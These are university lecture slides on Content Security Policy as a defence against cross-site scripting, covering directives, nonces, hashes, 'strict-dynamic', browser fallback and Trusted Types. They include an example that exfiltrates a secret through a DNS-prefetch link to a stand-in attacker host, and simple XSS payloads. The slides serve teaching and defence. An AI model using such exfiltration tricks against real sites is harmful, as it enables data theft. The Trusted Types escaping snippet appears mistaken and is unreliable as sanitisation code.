Web Security - Content Security Policy (CSP)

Stefano Calzavara

Università Ca' Foscari Venezia

Università
Ca'Foscari
Venezia

Content Security Policy (CSP)

CSP was born as an industrial effort to design a declarative client-side defense mechanism against XSS in 2010:

- Now supported by all major web browsers
- Useful defense-in-depth (mitigation) approach against XSS: it does not substitute input sanitization and output encoding!
- No protection against scriptless attacks like HTML markup injection

CSP has evolved over the years to support more features, but for now we just focus on its base features and its use for XSS mitigation.

CSP Exemplified

A CSP is a page-level security policy delivered to the browser via the `Content-Security-Policy` header. The browser then takes care of enforcing the policy on the page.

```
script-src   'self' https://www.jquery.com;
img-src      https://*.facebook.com;
default-src  https:;
report-uri   https://www.example.com/violations.php
```

By enumerating the capabilities required by the page, one can mitigate the effect of XSS by enforcing least privilege.

Directives and Source Expressions

The most common CSP directives are shown below.

Directive	**Applies to**
`connect-src`	Targets of XHRs
`img-src`	Images and favicons
`object-src`	Plugins (Flash, applets...)
`script-src`	JavaScript files
`style-src`	CSS files
`default-src`	Fallback directive

Each directive is bound to a list of source expressions, a sort of regular expressions used to represent sets of web origins.

Default Restrictions of CSP

Every CSP with a `script-src` directive or a `default-src` directive also provides two important security restrictions by default.

Script Execution

- No execution of inline scripts
- No execution of inline event handlers, e.g., `onerror`
- No execution of `javascript:` URLs

String-to-Code Transformations

- Invocation of the `eval` function is forbidden
- Functions like `setTimeout` must be invoked with a callable

Observe that this covers the most prominent XSS vectors!

CSP Roadblocks

To deploy CSP fruitfully, one has to:

1. enumerate all the sources (origins) from which different content types are loaded, so as to build appropriate whitelists
2. remove all inline scripts, event handlers and `javascript:` URLs from the protected pages
3. remove all invocations to `eval` and related functions

We now discuss the challenges of each point in more detail.

CSP Roadblocks: Whitelists

The simplest way to build whitelists is to enforce a restrictive CSP as report-only via the `Content-Security-Policy-Report-Only` header:

- policies in report-only mode are not enforced by the browser, but may still trigger violations, which can be collected via `report-uri`
- idea: monitor the most restrictive policy `default-src 'none'` to collect a comprehensive set of requests sent by the page and come up with a correct CSP without breaking functionality
- protip: do not blindly trust violation reports! If the attacker exploits an XSS vulnerability while you are monitoring, you might be fooled and leave the door open to future attacks!

CSP Roadblocks: Inline Scripts and Friends

CSP forbids inline scripts, event handlers and `javascript:` URLs, so one has to:

- move inline scripts to external files
- replace event handlers with listeners registered by external scripts
- replace `javascript:` URLs with script-initiated code

The default security restrictions can be disabled using `'unsafe-inline'`:

```
script-src  https://*.example.com 'unsafe-inline';
default-src https:
```

Alert!

`'unsafe-inline'` completely voids protection against XSS!

CSP Roadblocks: String-to-Code Transformations

Functions like `eval` and `setTimeout` can be used to transform strings into code, thus leading to injections:

- `eval` is generally unneeded: don't use it!
- invocations to `setTimeout` and `setInterval` should be changed so that they take a function parameter, rather than a string

These security restrictions can be disabled using `'unsafe-eval'`.

Alert!

While `'unsafe-inline'` effectively disables XSS protection, it is still possible to use `'unsafe-eval'` without sacrificing security, but this requires appropriate vetting and sanitization. Be careful!

Writing Secure CSPs

Okay, so how can one use CSP to defend against XSS?

1. Make use of `script-src` (or `default-src`) to control scripts
2. Do not use `'unsafe-inline'`, which enables script injection
3. Do not use `'unsafe-eval'`, unless you perform appropriate vetting
4. Do not whitelist the wildcard `*`
5. Do not whitelist entire schemes like `http:` and `https:`
6. Also, do not whitelist `data:`, which can be used for script injection
7. If you don't specify `default-src`, set `object-src 'none'` to avoid script injection via plugins

Limitations of CSP

Deployment Cost

Researchers studied the cost of retrofitting CSP on existing apps [4]:

- Bugzilla: added 1,745 LoC, deleted 1,120 LoC
- HotCRP: added 1,440 LoC, deleted 210 LoC
- both applications paid a performance cost after refactoring

Insecurity of Whitelists

Since developers typically whitelist entire origins, it is common to include accidental XSS vectors like JSONP endpoints and JS templating libraries providing functionality similar to `eval` [3].

CSP Versions

CSP has evolved over the years to deal with its original limitations and multiple versions of CSP have been proposed so far:

- Level 1 ($\sim$ 2012): the original whitelist-based CSP
- Level 2 ($\sim$ 2014): introduction of nonces and hashes
- Level 3 ($\sim$ 2016): introduction of 'strict-dynamic' and more

The current stable version is Level 2, with different browsers providing different degrees of support for Level 3 (still under development).

CSP Nonces

CSP can now be used to whitelist scripts (inline or external) bearing a valid nonce, i.e., a random, unpredictable string:

```
script-src  'self' https://example.com 'nonce-54321';
default-src 'self'
```

Individual inline scripts can be whitelisted using the `nonce` attribute:

```
<script nonce="54321"> alert(1); </script>
```

This greatly simplifies deployment, because a single nonce can be used to whitelist many scripts!

CSP Nonces

Consider the following policy:

```
script-src  'self' https://example.com 'nonce-54321';
default-src 'self'
```

Allowed or not?

```
<script> alert(1); </script>
```

CSP Nonces

Consider the following policy:

```
script-src  'self' https://example.com 'nonce-54321';
default-src 'self'
```

Allowed or not?

```
<script> alert(1); </script>
```

No, the script tag is not whitelisted and there is no `'unsafe-inline'`

CSP Nonces

Consider the following policy:

```
script-src  'self' https://example.com 'nonce-54321';
default-src 'self'
```

Allowed or not?

```
<script nonce="12345" src="https://example.com/adv.js"/>
```

CSP Nonces

Consider the following policy:

```
script-src  'self' https://example.com 'nonce-54321';
default-src 'self'
```

Allowed or not?

```
<script nonce="12345" src="https://example.com/adv.js"/>
```

Yes, the script is loaded from a whitelisted host

CSP Nonces

Consider the following policy:

```
script-src  'self' https://example.com 'nonce-54321';
default-src 'self'
```

Allowed or not?

```
<script nonce="54321" src="https://google.com/adv.js"/>
```

CSP Nonces

Consider the following policy:

```
script-src  'self' https://example.com 'nonce-54321';
default-src 'self'
```

Allowed or not?

```
<script nonce="54321" src="https://google.com/adv.js"/>
```

Yes, the script is annotated with a valid nonce

CSP Nonces

Nonces offer two key security advantages over CSP Level 1:

1. they provide support for inline scripts, without falling back to the complete absence of security of `'unsafe-inline'`
2. they whitelist individual scripts as opposed to entire origins, which simplifies the security auditing

Alert!

The developer is in charge of generating random, unpredictable nonces on each incoming request and populating the CSP header correctly!

Nonce reuse can easily break protection against XSS!

Problem: Dynamic Scripts

Consider the following policy:

```
script-src  'self' https://example.com 'nonce-54321';
default-src 'self'
```

What happens if a script tag with the right nonce 54321 loads this code?

```
var s = document.createElement('script');
s.src = 'https://not-example.com/dependency.js';
document.head.appendChild(s);
```

Supporting Dynamic Scripts

How to deal with dynamically inserted scripts in presence of nonces?

1. Require nonce-authorized scripts to explicitly pass their nonce to the new scripts they insert in the DOM
2. Make use of the `'strict-dynamic'` keyword, which propagates trust from nonce-authorized scripts to the new scripts they insert

The first solution provides a better control, but the second one is easier to deploy in practice.

Alert!

`'strict-dynamic'` sounds strange, because trust propagation is not great for security! Can you understand its design?

CSP Hashes

Hashes provide better security guarantees than nonces, because they take the actual script code into account.

```
script-src 'sha512-YWIzOWNiNzJjNDRlY';
```

The following inline script will be executed, under the assumption that the SHA-512 hash of its body is `YWIzOWNiNzJjNDRlY`:

```
<script> alert(1); </script>
```

Alert!

CSP Level 3 added the `'unsafe-hashes'` keyword to whitelist event handlers with a matching hash in the policy!

CSP Hashes

CSP Level 2 only supports hashes for inline scripts, but hashes are very useful for external scripts as well...

```
<script src="https://code.jquery.com/jquery-3.4.1.min.js"
        nonce="54321"/>
```

CSP Level 3 integrates with SRI: one can then use hashes to whitelist external scripts with a matching `integrity` attribute:

```
<script src="https://code.jquery.com/jquery-3.4.1.min.js"
        integrity="sha512-YWIzOWNiNzJjNDRlY"/>
```

Note: `'strict-dynamic'` also covers hash-authorized scripts.

How to Configure CSP?

At the end of the day, there are several options for configuring CSP, in increasing order of security:

1. whitelist-based: often insecure. Even assuming CSP best practices are followed, it is basically impossible to vet entire origins
2. nonce-based: more secure, but no guarantees about the executed script content. Be aware of the dangers of `'strict-dynamic'`
3. hash-based: complete control of the executed scripts, including their content, but often too complicated to deploy in practice

Useful tool for practitioners: CSP Evaluator by Google

CSP Fallback

It is worth noticing that the CSP syntax has always been extended to be backward compatible with legacy browsers: if you use some unsupported CSP features, the browser still parses the policy correctly.

For this reason, different browsers may give different interpretations to the same CSP. This is useful to ensure that web applications still operate correctly on legacy browsers. Of course, they may enjoy a lower level of protection than on modern browsers!

CSP Fallback

```
script-src 'nonce-r4nd0m' 'strict-dynamic'
           https://* 'unsafe-inline';
```

This policy has different interpretations on browsers supporting different CSP levels:

- Level 1: `script-src https://* 'unsafe-inline';`
- Level 2: `script-src 'nonce-r4nd0m' https://*;`
- Level 3: `script-src 'nonce-r4nd0m' 'strict-dynamic';`

Important notes:

- hashes and nonces invalidate `'unsafe-inline'`
- `'strict-dynamic'` invalidates all the whitelists

Quiz Time!

Consider the following script tag:

```
<script src="https://example.com/lib.js" nonce="44444"/>
```

Write a CSP such that script inclusion is allowed on a browser supporting CSP Level 2, but not on a browser supporting CSP Level 3.

Quiz Time!

Consider the following script tag:

```
<script src="https://example.com/lib.js" nonce="44444"/>
```

Write a CSP such that script inclusion is allowed on a browser supporting CSP Level 2, but not on a browser supporting CSP Level 3.

Solution

```
script-src 'nonce-12345' 'strict-dynamic'
           https://example.com;
```

Advanced Tricks: Policy Composition

When the same page includes multiple CSPs, all of them should be enforced by the browser. Multiple CSPs can be specified in the same `Content-Security-Policy` header using the comma separator.

Can you understand the difference between these two policies?

```
script-src 'nonce-r4nd0m' https:;
```

```
script-src 'nonce-r4nd0m', script-src https:;
```

CSP in the Wild

Research from 2018 showed that more than 90% of the policies in the wild are vulnerable against XSS [2]. This did not significantly improve over the years.

Vulnerability	**Perc.**
`'unsafe-inline'` in `script-src`	78%
liberal whitelist in `script-src`	11%
no `script-src` & `'unsafe-inline'` in `default-src`	10%
no `script-src` & liberal whitelist in `default-src`	6%
no `script-src` & no `default-src`	3%

The classes overlap, but the distinct vulnerable policies sum up to 92%. The adoption of nonces and hashes in the wild is tiny: 1.5%.

Case Study: CSP at Google

Though CSP might be hard to deploy correctly for the average site operator, it can significantly improve security in the right hands:

- a nonce-based CSP is currently enforced on 80+ Google domains and 160+ Google services
- among 11 XSS vulnerabilities on very sensitive domains, 9 were on endpoints with strict CSP deployed and 7 of them were stopped
- among 69 XSS vulnerabilities on sensitive domains, 20 were on endpoints with strict CSP deployed and 12 of them were stopped
- overall, CSP stopped $\sim 66\%$ of the XSS vulnerabilities

More information available here.

Case Study: CSP at Facebook

Facebook makes a very different use of CSP than Google. For example, this is a snippet of an actually deployed policy from Facebook:

```
script-src *.facebook.com *.fbcdn.net *.facebook.net
           'unsafe-inline' 'unsafe-eval' data:;
```

Though this policy does not prevent XSS, it gives a form of confinement: Facebook developers cannot load external content from untrusted origins!

Question

Does this suffice to prevent information leaks from Facebook?

CSP and Information Leaks

Perhaps surprisingly, CSP cannot be used to stop information leaks!

- you can control page communication for resource inclusion, but the page can still leak secrets, e.g., via `window.open`
- several ways to exfiltrate secrets from the browser, e.g., researchers abused DNS prefetching [1]
- in general, no consensus on whether CSP should be used to stop data exfiltration or not! But it seems we are converging towards a negative answer

CSP and Information Leaks

Consider the following CSP:

```
script-src  'self' 'unsafe-inline';
default-src 'none';
```

Assuming XSS is possible, the attacker can read the secret `abcd1234` and leak it via the following link tag [1]:

```
<link rel="dns-prefetch" href="//abcd1234.evil.com">
```

Now the attacker only needs to log the DNS requests to their DNS server to be able to read back the leaked information.

CSP: Beyond XSS

CSP is increasingly used for other use cases:

- framing control: the `frame-ancestors` directive can be used to restrict page framing to trusted origins
- TLS enforcement: CSP also provides facilities to enforce the full adoption of HTTPS on a web page
- navigation control: the `navigate-to` directive can restrict the URLs to which a document can initiate navigation (by any means)

We will discuss CSP again in the next lectures.

Beyond CSP: Trusted Types

CSP is failing as a tool for XSS mitigation. Modern browsers offer an alternative solution against client-side XSS called Trusted Types.

Trusted Types lock down risky injection sinks, requiring you to process the data before passing it to them. If you pass a string, then the browser will throw a TypeError and prevent the use of the function.

Trusted Types work alongside CSP with the new `trusted-types` and `require-trusted-types-for` directives.

Beyond CSP: Trusted Types

```
let pol = trustedTypes.createPolicy("myEscapePolicy", {
  createHTML: (string) => string.replace(/>/g, "<"),
});

let esc = pol.createHTML("<img src=x onerror=alert(1)>");
console.log(esc instanceof TrustedHTML); // true
document.innerHTML = esc; // allowed
```

Read more about Trusted Types here.

References

[1] Steven Van Acker, Daniel Hausknecht, and Andrei Sabelfeld.
Data exfiltration in the face of CSP.
In *AsiaCCS*. ACM, 2016.

[2] Stefano Calzavara, Alvise Rabitti, and Michele Bugliesi.
Semantics-based analysis of content security policy deployment.
TWEB, 12(2):10:1–10:36, 2018.

[3] Lukas Weichselbaum, Michele Spagnuolo, Sebastian Lekies, and Artur Janc.
CSP is dead, long live CSP! on the insecurity of whitelists and the future of content security policy.
In *CCS*, pages 1376–1387. ACM, 2016.

[4] Joel Weinberger, Adam Barth, and Dawn Song.
Towards client-side HTML security policies.
In Patrick D. McDaniel, editor, *HotSec*. USENIX Association, 2011.